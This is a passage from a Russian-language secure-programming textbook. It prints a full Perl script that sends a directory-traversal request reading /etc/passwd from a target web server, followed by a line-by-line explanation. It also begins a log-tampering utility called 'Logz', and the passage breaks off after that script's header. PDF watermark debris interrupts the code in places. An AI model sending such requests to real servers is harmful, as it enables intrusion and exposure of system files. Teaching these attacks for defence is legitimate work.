Каноническая атака на Web-сервер
Атаки на Web-серверы, написанные на Perl (их обычно называют CGI-хак), – один из простейших видов «эксплойтов». Для любой уязвимости, которая может быть атакована с помощью ввода универсального идентификатора ресурса (URI) в адресной строке браузера, легко написать соответствующий сценарий на Perl.
Пример 1.29. Каноническая атака на Web*сервер
1 #! /usr/local/bin/perl
2 # Каноническая атака на Web-сервер
3 use IO::Socket;
4 use strict;
5 print "\nПрочтите для начала\n\n";
6 print "Порядок вызова: canonical.pl target_ipaddress \n";
7 my $host = $ARGV[0];
8 my $port = 80;
9 my $attack_string = " GET /cgi-bin/bad.cgi? q=../../../../../../../../../../../etc/passwd%00\n\n";
10my $receivedline;
11my @thedata;
12my $tcpval = getprotobyname('tcp');
13my $serverIP = inet_aton($host);
14my $serverAddr = sockaddr_in(80, $serverIP);
15my $protocol_name = "tcp";
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||
|
|
X |
|
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
90 Глава 1. Написание безопасных программ |
|||
w Click |
|
|
|
|||||||
|
|
|
|
|||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
e |
|
||
|
|
|
df-xchan |
16 my $iaddr = inet_aton($host) || |
die print("Ошибка при задании адреса хоста: $host");
17 my $paddr = sockaddr_in($port, $iaddr) ||
die print("Ошибка при задании целевого порта или адреса");
18 my $proto = getprotobyname('tcp') ||
die print("Ошибка при поиске протокола для соединения с сокетом");
19 socket(SOC, PF_INET, SOCK_STREAM, $proto) || die print("Ошибка при создании сокета!");
20 connect(SOC, $paddr) ||
die print("Ошибка при установлении соединения!");
21 send(SOC,$attack_string,0);
22 @thedata=<SOC>;
23 close (SOC);
24 print "Получены следующие данные:\n";
25 foreach $receivedline(@thedata)
26 {
27 print "$receivedline";
28 }
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Анализ
Все переменные, необходимые для проведения атаки, определяются в строках 7–18;
В строках 19–20 создается и инициализируется сокет, через который будет посылаться запрос системе-жертве. В строке 21 посылается строка запроса $attack_string, а в строке 22 полученные от сервера строки сохраняются в массиве @thedata;
Наконец, в строках 24–28 ответ выводится на STDOUT.
Утилита модификации файла протокола
Выше уже отмечалось, что сильной стороной Perl является манипулирование строками. Этот язык программирования способен анализировать строки, производить в них поиск и замену, пользуясь лишь регулярными выражениями. Пример 1.30 демонстрирует применение этих возможностей; кроме того, здесь показано, как можно генерировать случайные числа и создавать строки. В примере используется библиотечный модуль GetOpt, поставляемый вместе с Perl.
Пример 1.30. Logz
1#!/usr/bin/perl
2#Logz version 1.0
3 #By: James C. Foster
4#Released by James C. Foster & Mark Burnett at BlackHat Windows 2004
in Seattle